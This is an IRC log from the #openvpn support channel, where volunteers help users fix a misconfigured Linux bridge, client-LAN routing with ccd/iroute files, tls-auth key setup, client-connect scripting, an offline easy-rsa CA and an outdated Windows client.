13:08 -!- [1]c3vin [~c3vin@70.62.198.163] has joined #openvpn
13:08 < fys> sorry guys
13:08 < fys> got called into a meeting with the owner
13:09 -!- c3vin [~c3vin@70.62.198.163] has quit [Ping timeout: 240 seconds]
13:09 -!- [1]c3vin is now known as c3vin
13:14 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Ping timeout: 245 seconds]
13:14 -!- Wintereise [~reise@unaffiliated/wintereise] has quit [Ping timeout: 252 seconds]
13:15 -!- bandroidx [~bandroidx@2605:6400:2:fed5:4:0:414:11] has quit [Ping timeout: 245 seconds]
13:21 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 264 seconds]
13:22 < hg_5> fys are you there?
13:22 -!- Wintereise [~reise@unaffiliated/wintereise] has joined #openvpn
13:23 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
13:23 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
13:23 -!- bandroidx [~bandroidx@2605:6400:2:fed5:4:0:414:11] has joined #openvpn
13:42 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
13:45 < WDKevin> fys, no problem, i just got back from lunch myself
13:48 <+pekster> WDKevin: You're trying to do what, expose a LAN behind the openvpn server?
13:48 < WDKevin> give me a holler when you get back fys
13:48 < WDKevin> pekster, im trying to just get connected and authenticated against the current users
13:48 < WDKevin> fys got me setup with his config that does the same thing, but i cant seem to get connected
13:48 < WDKevin> we went through and verified the ports are open, and forwarded on my router
13:48 < WDKevin> but then he got called aside
13:49 < WDKevin> i dont know if my interfaces file is misconfigured or what, but my openvpn.log has nothing in it about connection attempts
13:50 <+pekster> Server is running on RFC1918 IP space? If so, start there and work back to the router, verifying firewalls/NAT setup is valid
13:50 <+pekster> 'iptables-save' will give you a complete view of the server's firewall (assuming Linux as the OS)
13:51 < WDKevin> the vpn server is on ubuntu. ipstables -nL shows accept for incoming, forwarding and outgoing
13:51 <+pekster> Use iptables-save
13:51 < WDKevin> i have dd-wrt on the router, which is forwarding port 1194 to the server
13:51 <+pekster> Other tables can impact things too (mangle, nat, etc)
13:52 < WDKevin> do you want me to pastie the output of iptables-save?
13:52 <+pekster> iptables -L is a bastard child that no one who actually works with netfilter seriously likes very much
13:52 <+pekster> Please. Let's start at the end and work out
13:52 < WDKevin> thats fine
13:52 < WDKevin> just tell me what to do
13:52 < WDKevin> and so you know, im at work, ssh'd into my vpn server
13:52 <+pekster> No worries
13:53 < WDKevin> so start with iptables-save?
13:54 <+pekster> Yup. No point in checking the router's forwarding until we know your server is configured to accept the traffic
13:54 < WDKevin> one quick quesiton, also. in my router, should i be forwarding the port to the ip of eth0 or br0 on my vpn server?
13:54 <+pekster> The one holding your LAN IP. If that's confusing, please also pastebin the output of 'ip addr show'
13:54 < WDKevin> output of iptables-save: http://pastie.org/private/n6yrsb4hrzqyw8cgrnnow
13:54 <@dazo> WDKevin: if bridging eth0 with something else as br0 .... eth0 should not have an IP at all ... only br0 should have the IP
13:55 <+pekster> Okay, completely open ruleset with no mangle or nat tables loaded, so that's fine
13:55 < WDKevin> output of ip addr show: http://pastie.org/private/d07nevghool58pusqvvjfa
13:55 < WDKevin> im thinking the br0 is half the problem
13:55 <+pekster> Probably
13:55 <+pekster> brctl show dev br0
13:55 < WDKevin> run that?
13:55 <@dazo> eth0 and br0 both have the IP 192.168.1.101/24 ... that will fail
13:55 < WDKevin> i had openvpn working before and i dont remember ever having a br0
13:56 < WDKevin> but when i followed the guide on ubuntu.com this time it had me set one up
13:56 <@dazo> WDKevin: why do you bridge?
13:56 <+pekster> You probalby don't need a bridge at all
13:56 < WDKevin> i dont think i do
13:56 <@dazo> https://community.openvpn.net/openvpn/wiki/BridgingAndRouting
13:56 <@vpnHelper> Title: BridgingAndRouting – OpenVPN Community (at community.openvpn.net)
13:56 < WDKevin> i did remove it from the interfaces file, but after running service networking restart its still there
13:57 <+pekster> I'd tell you to just remove the bridge, but if you mess it up and loose the LAN IP you'll loose remote access. That's likely your issue, or at least one of them
13:57 <+pekster> If you know your netnwork config is good you can schedule a cron to reboot in 10 minutes or so if you do loose control
13:57 < WDKevin> ill give it a try. if it messes up ill finish when i get home
13:58 < WDKevin> how do i remove the bridge?
13:58 < WDKevin> i have assigned eth0 with a static ip in interfaces, but its not seeming to take affect
13:58 < WDKevin> i must be missing something
13:58 <+pekster> Becuase the bridge has the same IP. In Linux, bridge members never hold the IP, the bridge interface does
13:59 < WDKevin> but i removed the bridge from interfaces
13:59 <@dazo> WDKevin: if you have a openvpn config which connects well (meaning the --remote, --key/--cert/--ca etc options working kind of) ... the look at the "Using Routing" section in the URL above
13:59 <+pekster> 'brctl show' will show you your bridge status now
13:59 <@dazo> and if both br0 and eth0 share an IP address ... that won't route well
13:59 < WDKevin> it shows it on eth0
13:59 <+pekster> If eth0 is in br0, remove it first via 'brctl delif br0 eth0' and then you can remove the bridge with 'brctl delbr br0'
13:59 < WDKevin> ok
14:00 <+pekster> Again, if br0 is in use now, that may cause you connectivity issues
14:00 < WDKevin> ill give it a shot
14:00 < hg_5> hi pekster, can you check if this config is proper on my openvpn server http://pastebin.com/MpQW0nmk
14:00 < WDKevin> if it messes up ill do it when iget home
14:00 < WDKevin> ill email myself the commands you just gave me
14:01 < WDKevin> yep, that broke it
14:03 <+pekster> hg_5: It's technically a "valid" configuration, although no clue why you're explicitly declaring tun21 (openvpn usually creates a device dynamically when you bring it up.) Further, 'daemon' is usually specified by init scripts, not config files, but it's not "wrong" to do that if you want
14:03 <@dazo> on some router firmwares, you do need --daemon explicitly
14:04 <+pekster> Well, I'm guessing by the "automatically geneated configuration" that some Web GUI frontend thing made that file
14:04 < hg_5> and my ccd file: client10
14:04 < hg_5> iroute 192.168.7.0 255.255.255.0
14:04 <+pekster> No idea how it interacts with the init system to get tun21, but I'll happily ignore that unless errors show it's a problem
14:05 < hg_5> pekster where can i find automatical configuration?
14:05 <@dazo> there's no such thing :)
14:05 <+pekster> Sure, so client10 "owns" that network. That matches with your server config options
14:05 <+pekster> It's a valid configuration, assuming it starts properly and works with the OS's init scripts
14:07 < hg_5> yes client10 owns this network
14:07 <+pekster> Although, no real point in pushing the route to 192.168.7/24 since you redirect-gateway anyway, but you might as well leave that in if you decide to undo that (and it'll likely annoy your autoconfig voodoo if you tinker with it.) I can't help with the frontend, just the config and any errors you get. The rest is an excersize for the reader ;)
14:08 <+pekster> (doing both won't hurt anything)
14:08 < hg_5> pekster so... it will be enough if i will just add client10 ccd file? (instead of making push route to 192.168.7.x) ?
14:08 <+pekster> Yes. But you need that push for the route if you ever *remove* the redirect-gateway push
14:08 <+pekster> (otherwise other clients can't reach that network)
14:09 <+pekster> For a detailed flowchart on how client-lan connectivity works, see:
14:09 <+pekster> !clientlan
14:09 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route
14:09 <@vpnHelper> for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png
14:09 <+pekster> That shows you each step that is required. Assuming your firewalls and routing is enabled properly on that unit, you should have all the config steps met already with that setup
14:09 -!- MeanderingCode_ [~Meanderin@71-213-164-111.albq.qwest.net] has joined #openvpn
14:10 -!- MeanderingCode [~Meanderin@71-213-164-111.albq.qwest.net] has quit [Ping timeout: 244 seconds]
14:11 < hg_5> hm pekster i have to do that http://puu.sh/1YsJE in server and client ?
14:11 <+pekster> That's thet push for 192.168.7.0/24, so yes you already have it
14:12 -!- pa__ [~pa@host55-12-dynamic.61-82-r.retail.telecomitalia.it] has quit [Quit: Sto andando via]
14:12 <+pekster> The 'route' command tells the OS to let the openvpn server "be responsible" for that route (so you need that always when a client LAN has that range you wish to connect/route to)
14:12 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
14:12 <+pekster> The 'push' for that route lets *other* VPN clients connect to it
14:15 <+pekster> hg_5: Are you having problems with that config? Does the server start cleanly without errors? (remember, it'll send logs to the system logger in your setup)
14:15 -!- MeanderingCode_ [~Meanderin@71-213-164-111.albq.qwest.net] has quit [Read error: Connection reset by peer]
14:16 < hg_5> pekster wait i have to reset router and i will check, because before i have this route push but didnt have ccd in jffs so it dissapered after reboot
14:17 <+pekster> There should be a way to start or restart the VPN through an init system, but since that doesn't look like openwrt I can't really help (and I actually hate openwrt's stock openvpn support anyway too, but I digress)
14:17 <+pekster> Maybe look in /etc/init.d or see your platform's documentation on the preferred way to restart it
14:18 <+pekster> (or yea, reboot ;)
14:21 -!- bauruine [~stefan@91.236.116.112] has joined #openvpn
14:26 -!- niervol [~krystian@193.106.244.150] has quit [Remote host closed the connection]
14:35 -!- dazo is now known as dazo_afk
14:42 -!- Valcorb [~Valcorb@84.198.139.192] has quit []
14:42 < hg_5> pekster still it doesnt work with this config
14:42 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
14:44 <+pekster> "doesn't work" isn't very descriptive. Logs at 'verb 4' and a description of what's not working would be better
14:44 -!- novaflash is now known as novaflash_away
14:45 < hg_5> pekster ok wait
14:46 -!- novaflash_away is now known as novaflash
14:48 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit []
14:48 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
14:50 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit [Client Quit]
14:50 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
14:51 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit [Client Quit]
14:51 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 244 seconds]
14:51 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
14:51 -!- Orbi [~opera@anon-149-235.vpn.ipredator.se] has quit [Ping timeout: 272 seconds]
14:54 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit [Client Quit]
14:55 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
14:56 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has quit [Quit: Leaving]
14:58 -!- neilhwatson [~neil@cl-274.chi-03.us.sixxs.net] has joined #openvpn
15:02 < hg_5> hmm pekster it still doesn't work, i cant ping from router 192.168.7.x subnet , http://puu.sh/1Yufn
15:02 < hg_5> my router now has this in routing, but still doesnt work
15:06 <+pekster> That's one part of the process
15:07 <+pekster> Follow the flowchart for the !clientlan output as it will lead you to the exact component that's wrong
15:08 <+pekster> Obviously, your client needs to be connected too (the one that owns that netwowrk) and its firewall needs to permit the traffic
15:15 < hg_5> my client router has its local ip 192.168.7.7 , and i even can't ping it
15:18 <+pekster> That's not the first thing you're supposed to be doing according to the flowchart
15:18 <+pekster> I can't help if you can't follow directions
15:19 <+pekster> If you have that problem at the correct point on the flowchart, you will discover the fix to that problem
15:20 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Read error: Operation timed out]
15:22 -!- neilhwatson [~neil@cl-274.chi-03.us.sixxs.net] has quit [Quit: Leaving.]
15:40 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn
15:40 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host]
15:40 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
15:40 -!- mode/#openvpn [+o krzee] by ChanServ
15:40 <@krzee> https://community.openvpn.net/openvpn/wiki/IOSinline
15:40 <@vpnHelper> Title: IOSinline – OpenVPN Community (at community.openvpn.net)
15:41 <@krzee> !ios
15:41 <@krzee> !iphone
15:41 <@vpnHelper> "iphone" is (#1) http://www.zdnet.com/blog/hardware/ubuntu-lucid-lynx-1004-can-read-your-iphones-secrets/8424 <-- be aware of that before putting your keys on an iphone or (#2) OpenVPN is now available for iOS in the App Store
15:42 <@krzee> !learn iphone as https://community.openvpn.net/openvpn/wiki/IOSinline
15:42 <@vpnHelper> Joo got it.
15:42 <@krzee> !learn inline as https://community.openvpn.net/openvpn/wiki/IOSinline for a writeup that includes how to use inline certs
15:42 <@vpnHelper> Joo got it.
15:43 <+pekster> That article doesn't explain how if the encryption is "PIN-based" how one can mount up the volume without first decrypting it
15:45 <+pekster> Sounds like it's either not actually encrypted, or decrypted at runtime and exposed through a fairly easy-to-exploit overflow execution. Good thing the source was closed so no one could discover the attack vector ;)
15:46 <@krzee> #1 above?
15:47 <@krzee> no exploit involved
15:47 <+pekster> Yea, I'm reading the linked article with more details now
15:47 <@krzee> hopefully not the same in current ios, but i wouldnt know
15:47 <+pekster> It still doesn't bode well for the security model that it was compromised like that
15:48 <+pekster> If we haven't learned already from Java/Flash, another "OS update" doesn't protect you like a magic ward
15:48 <@krzee> even if updated, with it being closed source and this existed before, ild highly doubt they actually made it secure
15:50 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit []
15:52 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
15:54 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
15:57 <+pekster> krzee: Also concerning is that it took Apple 3 months from the time that article was published to the time they realised an iOS fix for it
15:57 <+pekster> No clue if they had notice before that publish date too (making it >3mo)
15:58 <@krzee> and nobody was even testing to make that article, they just happened to notice
15:59 <@krzee> plugged their phone into ubuntu and went "hey look!"
15:59 <+pekster> Right :)
15:59 <+pekster> But if you're a Good Apple Employee what would you be doing with Ubuntu ;)
15:59 <@krzee> they have oldschool unix guys there
15:59 <@krzee> then again, they wouldnt be using ubnuntu
16:00 <@krzee> lol
16:00 <@krzee> more like netbsd and friends
16:00 <@krzee> a friend of mine was one of their solaris admins
16:00 <+pekster> NetBSD isn't bad if you need a Unix :)
16:02 <+pekster> copyleft doesn't inherently make it more secure, just more likely that flawsa re found when skilled people review it. Debian/SSL years back did highlight the importance of that 2nd part :)
16:03 < EugeneKay> Debian/SSL was a case of downstream "being smarter" than upstream
16:03 <+pekster> Right
16:13 -!- walp [~nobody@unaffiliated/walp] has joined #openvpn
16:14 < walp> quick question, if i already have a ssh port forward on a remote machine pointed to a proto tcp vpn endpoint (server), could i point the --remote in the client to a local ssh port forward (socks5) ?
16:14 <@krzee> yes, see socks options in the manual
16:14 <@krzee> !man
16:14 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend!
16:15 <@krzee> HOWEVER
16:15 <@krzee> this is a bad setup
16:15 <@krzee> !tcp
16:15 <@vpnHelper> "tcp" is (#1) Sometimes you cannot avoid tunneling over tcp, but if you can avoid it, DO. http://sites.inka.de/~bigred/devel/tcp-tcp.html Why TCP Over TCP Is A Bad Idea. or (#2) http://www.openvpn.net/papers/BLUG-talk/14.html for a presentation by James Yonan (OpenVPN lead developer) or (#3) if you must use tcp, you likely want --tcp-nodelay
16:15 <@krzee> you are basically ensuring a tcp-in-tcp setup, and if you're using tcp over the vpn it is tcp-in-tcp-in-tcp
16:15 <@krzee> just asking for meltdown
16:16 < walp> so, --socks-proxy 127.0.0.1:LOCAL_PORT
16:16 < walp> in client
16:16 -!- c3vin [~c3vin@70.62.198.163] has quit [Ping timeout: 240 seconds]
16:17 <@krzee> yep, but if it sucks you know why
16:17 < walp> ya
16:17 <@krzee> (it may start good and get progressively worse)
16:17 <@krzee> also, you could use a real socks server, that uses udp
16:17 <@krzee> like dante
16:17 < walp> could i not do udp-in-tcp-in-tcp
16:18 <@krzee> sure, but its still tcp in tcp
16:18 < walp> say proto udp in the client and server, tunneled over tcp socks5
16:18 <@krzee> no
16:18 <@krzee> but you can xfer udp over your tcp vpn which is over a tcp socks
16:18 <@krzee> but your tcp ssh socks can only connect to tcp
16:19 < walp> gotcha
16:19 <@krzee> a dante socks server can run on udp, and connect to udp
16:19 <@krzee> which would allow the vpn to be udp
16:19 -!- nickanderson is now known as nickanderson_afk
16:19 <+pekster> Why mess with proxies anyway?
16:19 <@krzee> oh wait no
16:19 <@krzee> dante would be on tcp
16:19 <@krzee> but then vpn could be on udp
16:19 <+pekster> If you can ssh in, you presumably have control over the system, the firewall, and the OS
16:19 <@krzee> ^^^
16:19 <@krzee> best to lose the proxy if you can
16:20 < walp> as of right now, i have ovpn configured to run on 53/udp
16:20 < walp> because most networks will allow outgoing 53/udp requests, whether or not it's DNS traffic
16:20 < kisom> Not really
16:21 < kisom> Most restricted networks have a local DNS server
16:21 <+pekster> Some might, but many just redirect all outbound DNSN requests to their internal server if they're security concious
16:21 <+pekster> More strict places do DPI anyway
16:21 < walp> yeah
16:21 <+pekster> Nothing saves you from a (good) DPI box
16:21 <+pekster> Cell service maybe ;)
16:21 < kisom> pekster: Cell service saved you from nothing ;)
16:22 < walp> vpn over tor/proxychains over 4g lol
16:22 <@krzee> ild expect responsible admins to rate limit their 53 outbound if nothing else
16:23 < walp> i want to do a similar setup in a little while, the goal of which is to only allow vpn traffic to a git repository
16:23 < kisom> walp: port 80 and 443 is probably your best bet
16:23 < walp> yeah probably 443 would be better
16:23 < kisom> And yes, while a DPI can indeed block OpenVPN on those ports, they are just as likely to do so on 53/UDP
16:24 < walp> or 43/tcp :)
16:24 < kisom> I use TCP/3724 in china. The port used by world of warcraft.
16:24 < walp> ^ lol
16:24 <@krzee> lol nice
16:25 <@krzee> !inline
16:25 <@vpnHelper> "inline" is https://community.openvpn.net/openvpn/wiki/IOSinline for a writeup that includes how to use inline certs
16:26 <@krzee> !forget inline
16:26 <@vpnHelper> Joo got it.
16:26 <@krzee> !learn inline as Inline files supported since OpenVPN 2.1rc1 (pkcs12 since 2.2) and documented in the OpenVPN 2.3 man page (https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage under INLINE FILE SUPPORT)
16:26 <@vpnHelper> Joo got it.
16:26 <@krzee> !learn inline as https://community.openvpn.net/openvpn/wiki/IOSinline for a writeup that includes how to use inline certs
16:26 <@vpnHelper> Joo got it.
16:26 < walp> lol
16:26 < walp> nice bot
16:26 <@krzee> thanks
16:26 <@krzee> !factoids
16:27 <@vpnHelper> "factoids" is A semi-regularly updated dump of factoids database is available at http://www.secure-computing.net/factoids.php
16:27 <@krzee> thats all he knows ^
16:27 < walp> does tls-auth work only with UDP?
16:27 <@krzee> yes
16:27 <@plaisthos> krzee: you had to copy&paste my grammer error of a missing "are" :p
16:27 <@krzee> to my understanding at least
16:27 <@krzee> feel free to try it
16:27 <+pekster> huh? No, that works anywhere
16:27 <+pekster> It's HMAC on top of the TLS stream
16:27 <@krzee> plaisthos, works to me when i say it!
16:28 <@plaisthos> Yeah but Inline files /are/ supported since .... sounds better
16:28 <@krzee> hmm i seem to remember it being udp only, but i dont use tcp anywhere, nor have i ever
16:28 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:28 <@plaisthos> tls-auth works with tcp
16:28 <@krzee> plaisthos, feel free to edit if you like
16:29 <@plaisthos> krzee: !forget and !learn again?
16:29 <@krzee> yep, forget <key> *
16:29 <@plaisthos> !forget inline *
16:29 <@vpnHelper> Joo got it.
16:29 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 256 seconds]
16:29 <+pekster> krzee: is bot access based on cloak, or manually edited? I had a few entries I couldn't fix up with outdated info
16:30 <@krzee> your cloak should give you access
16:30 <@plaisthos> !learn inline as Inline files (e.g. <ca> ... </ca> are supported since OpenVPN 2.1rc1 and documented in the OpenVPN 2.3 man page (https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage under INLINE FILE SUPPORT)
16:30 <@vpnHelper> Joo got it.
16:30 < walp> ok so, openvpn --genkey --secret ta.key   on both client and server, and --tls-server --tls-auth ta.key 0 for server, and --tls-client --tls-auth ta.key 1 for client?
16:30 <@krzee> so both =]
16:30 <@plaisthos> !learn inline as https://community.openvpn.net/openvpn/wiki/IOSinline for a writeup that includes how to use inline certs
16:30 <@vpnHelper> Joo got it.
16:30 <@krzee> (your new cloak)
16:30 <@plaisthos> !inline
16:30 <@vpnHelper> "inline" is (#1) Inline files (e.g. <ca> ... </ca> are supported since OpenVPN 2.1rc1 and documented in the OpenVPN 2.3 man page (https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage under INLINE FILE SUPPORT) or (#2) https://community.openvpn.net/openvpn/wiki/IOSinline for a writeup that includes how to use inline certs
16:31 <+pekster> walp: Almost. You need the *same* key on both sides
16:31 < walp> err ya
16:31 <+pekster> So, you can't generate it on both ends since it's random
16:31 < walp> so gen on server
16:31 < walp> then scp to workstation
16:31 <+pekster> Yup. Every client needs the same key, used in the opposite direction (0 vs 1) than the server
16:31 <@krzee> gen whereever, make sure its the same on EVERY endpoint
16:32 < walp> coolies
16:32 <+pekster> It basically just prevents any peer without that key from even attempting an authentication (which eats up resources, even if they don't have a valid client cert or pass)
16:32 <@krzee> layer7 attack prevention
16:33 < walp> kinda like preventing a connection to IRC with SSL by only allowing certain SSL fingerprints
16:33 <@krzee> stops a slowloris from being made against openvpn
16:33 < EugeneKay> Before SSL even occurs
16:34 < walp> so before it blesses the existing socket with ssl, but after it's in an ESTABLISHED state
16:34 < EugeneKay> Yes, though UDP really doesn't establish
16:34 < walp> with proto tcp anyway
16:35 <@krzee> (hes using tcp)
16:35 < walp> but yeah UDP just before the lbess
16:35 < walp> *bless
16:39 < walp> ok now, is there a way to run a shell script that emails me whenever someone logs on to the vpn?
16:40 < kisom> Yes.
16:40 <@krzee> !script
16:40 <@vpnHelper> "script" is see http://openvpn.net/index.php/open-source/documentation/manuals/69-openvpn-21.html#lbAR for a list of places scripts can hook into openvpn
16:40 <@krzee> maybe youd like --client-connect
16:40 < walp> dood that's badass
16:40 < Devastator> is it correct to say that easy-rsa dir is a PKI?
16:40 < walp> openvpn is the shit
16:40 <@krzee> i agree, that scripting interface is GREAT
16:40 -!- vmachine2 [~PC@78-105-138-183.zone3.bethere.co.uk] has joined #openvpn
16:41 <@krzee> Devastator, basically.  the pki is the crypto files in there
16:41 < kisom> I don't like the idea with dynamic configuration files
16:41 <@krzee> backing up the easy-rsa dir is backing up the pki
16:41 -!- vmachine2 [~PC@78-105-138-183.zone3.bethere.co.uk] has left #openvpn []
16:41 < walp> are there scripting examples based on those hooks?
16:41 <@krzee> kisom, why not?
16:41 < kisom> I think openvpn should just read the scripts STDOUT and assume it is the config
16:41 < kisom> Because writing temporary files feels like a quickhack
16:41 <@krzee> kisom, it reads from the file you output to $1 iirc
16:42 < kisom> Yeah
16:42 <+pekster> walp: I've got a GPL foundation you can start with if you want some accounting stuff. It doesn't email you, but it should be trivial to send it somewhere other than a flat-file:
16:42 <+pekster> !accounting
16:42 <@vpnHelper> "accounting" is http://pekster.sdf.org/code/files/openvpn-user-accounting.tgz for some bash code for basic accounting
16:42 < kisom> That's not a good thing imo
16:42 <@krzee> pekster, nice!
16:43 < walp> ohhh it does an export ?
16:43 <@krzee> export?
16:43 <+pekster> It's just a bash scrpt to collect some env-vars that define the user on dissconnect and write stats
16:43 < walp> like, i could read it from $ENV{'trusted_ip'} with a perl script
16:44 <+pekster> Right
16:44 <@krzee> yep
16:44 <+pekster> That's basically what that script does, although that's on disconnect to collect stats about the session (connect/dissconnect time, bw transferred, IP used, etc)
16:44 < walp> pekster: are you single? :D
16:44 <@krzee> and the !script link in manual gives a bunch of inherited ENV vars
16:44 <@krzee> or you can dump the ENV
16:45 <@krzee> (from within the script_
16:48 < Devastator> krzee great, I was just wondering that, because of the talk we had yesterday about securing the vpn... so if I put easy-rsa into a usb stick and use it to build-ca, build-key-server, I can use it to sign csr and/or generate client keys from within a live cd, correct?
16:48 < kisom> Devastator: That's correct.
16:49 < Devastator> ok, I understand the concept, time for more trials heheh
16:49 <+pekster> With an offline CA like that, normally you don't want to run the 'build-key-server' scripts, but generate the keypair (produces a private key and a CSR) and send the CSR to the offline signing host
16:49 < Devastator> I mean, I think I understand the concept, that is
16:49 <+pekster> IIRC, build-key-server is designed to both generate the request and sign it all at once
16:49 < walp> so the 'untrusted_ip' would still be available in --client-connect
16:50 <+pekster> walp: $trusted_ip should too
16:50 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer]
16:50 < walp> ah
16:51 <+pekster> Although they should both be the same :P
16:51 < Devastator> pekster pardon for the question, but how to generate a private key and a CSR? I'm getting used to the scripts
16:52 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit []
16:52 < kisom> Devastator: Just use the scripts, it does not matter in this case since you're your own CA.
16:52 < kisom> Devastator: The point with CSR is that you send your public key to someone else and they sign it, without knowing your private key.
16:53 < Devastator> kisom something like.. ./build-key server?
16:53 < walp> i'm guessing that any other exit code than 0 throws an error?
16:54 < kisom> Devastator: Yes
16:54 < kisom> walp: Any other exit code will deny access to the connecting client.
16:55 < walp> k
16:55 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn
16:55 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host]
16:55 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
16:56 -!- mode/#openvpn [+o krzee] by ChanServ
17:01 < Devastator> hum.. things are getting clear.. vars script is to prepare the environment to generate cert/keys from what I understand..
17:03 <@krzee> yep
17:03 <@krzee> thats why you source it
17:03 <@krzee> it loads the vars into memory for the next step(s)
17:03 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit []
17:05 -!- AsadH is now known as zz_AsadH
17:08 < Devastator> I will pastebin my steps in a few, to see if I understand everything I need to, and I didn't get to configuring routings etc for my needs yet heheh
17:08 <@krzee> you shouldnt get to routing yet
17:08 <@krzee> first get a vpn up
17:08 <@krzee> THEN build on that vpn
17:09 < Devastator> exactly, I plan to understand how to handle certs/keys first, then move to configuring it per se...
17:11 <+pekster> Well, you can always split your PKI out to an offline system later. easy-rsa used all on 1 host is easy. It may not be for the security-paranoid (raises hand) but it's quick and functional. Keys are still encrypted on-disk. The only real difference is that it's an online CA, and keys are stored in 1 place.
17:12 <+pekster> Paranoid is free. The vault and guards will, however, cost you.
17:12 <+pekster> Paranoia*
17:20 -!- bauruine [~stefan@91.236.116.112] has quit [Ping timeout: 256 seconds]
17:25 < Devastator> pekster and a shotgun :)
17:26 <+pekster> !shotgun
17:26 <@vpnHelper> "shotgun" is (#1) the most effective form of physical security or (#2) <hyper_ch> shotgun security? <EugeneKay> If you try to physically attack my network, I chase you with a shotgun.
17:26 < Devastator> hahahahaha
17:26 < Devastator> I can't stop laughing
17:26 -!- b1rkh0ff [~b1rkh0ff@178.77.4.218] has quit [Ping timeout: 244 seconds]
17:29 -!- daemonoob [~rschultz@68-233-212-42.static-ip.telepacific.net] has quit [Quit: Leaving]
17:31 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds]
17:34 -!- pa [~pa@unaffiliated/pa] has quit [Ping timeout: 264 seconds]
17:34 -!- bauruine [~stefan@91.236.116.112] has joined #openvpn
17:35 < walp> hmm that's weird
17:35 < walp> so i had proto tcp port 443
17:35 < walp> windows openvpn client wouldn't connect
17:35 < walp> changed it to 443/udp and it instantly connected
17:38 -!- b1rkh0ff [~b1rkh0ff@178.77.2.66] has joined #openvpn
17:47 <+pekster> connecting as a windows client to tcp/443 works fine. Could be firewalls or a proxy that didn't like it though
17:50 < walp> ok so i have connected with windows openvpn with tls-auth etc
17:50 < walp> i get an ip
17:50 < walp> but i can't ping the other endpoint
17:51 < walp> http://pastie.org/pastes/6083482/text?key=f8g2qdnnfhps2r89pgqsea
17:53 < walp> http://pastie.org/pastes/6083496/text?key=fasfjxaz39bvzyshrnzp7q client
17:54 <+pekster> It usually boils down to a firewall problem. Also, your setup will cause you problems unless you use 'persist-key' (unless the key is actually readable by your www-data user. That would likely be a security risk if you run other things as that user too)
17:54 < walp> no firewall on either device
17:54 <+pekster> See the '--user' description in the manpage for more details on potential issues when dropping user privs like that
17:54 < walp> yet
17:55 <+pekster> And you can't ping 10.20.0.1 from the client?
17:55 < walp> correct
17:56 <+pekster> client getting the interface set correctly? Logs at 'verb 4' would be helpful starting with the client, and I may need the server logs too
17:56 <+pekster> (I assume you've verified firewall status with 'iptables-save' on the server already? If not, drop that somewhere too)
17:57 < walp> iptables is clear
17:57 < walp> http://pastie.org/pastes/6083519/text?key=ws3xr7f9cidiska1asm7g client log
17:58 <+pekster> You have an error there. That's also not verb 4
17:59 <+pekster> The route failed to be added. Are you running as an admin?
17:59 < walp> i thought that the win32-tap service would be, and that you didn't have to run the openvpn gui client as admin
17:59 <+pekster> Oh, and it failed to handle the topology. You're using a 2.0.9 client?
17:59 <+pekster> That's really, REALLY old
17:59 <+pekster> !download
17:59 <@vpnHelper> "download" is (#1) http://openvpn.net/index.php/download/community-downloads.html to download openvpn or (#2) OpenVPN's Windows installer now includes OpenVPN GUI. Don't bother with http://openvpn.se anymore or (#3) Don't trust download.com at all. It provides an extremely old version with malware: http://insecure.org/news/download-com-fiasco.html or (#4) in the community version of openvpn (only
17:59 <@vpnHelper> thing supported here) there is no separate download for client/server, it is the same install with different configs
17:59 <+pekster> Like, years old
17:59 < walp> *sigh*
17:59 <+pekster> Update your client. We're at 2.3.0
18:00 < walp> lol
18:00 -!- p0rk [~d0dger@pa-67-235-87-119.dhcp.embarqhsd.net] has joined #openvpn
18:00 < p0rk> fys, you here?
18:00 < walp> so the config is good
18:00 < walp> but my client is not
18:01 < p0rk> or anyone else who helped me (WDKevin) earlier today with my bridge issue
18:04 < walp> hmm okay
18:04 < walp> my client is updated
18:04 < walp> still getting same error
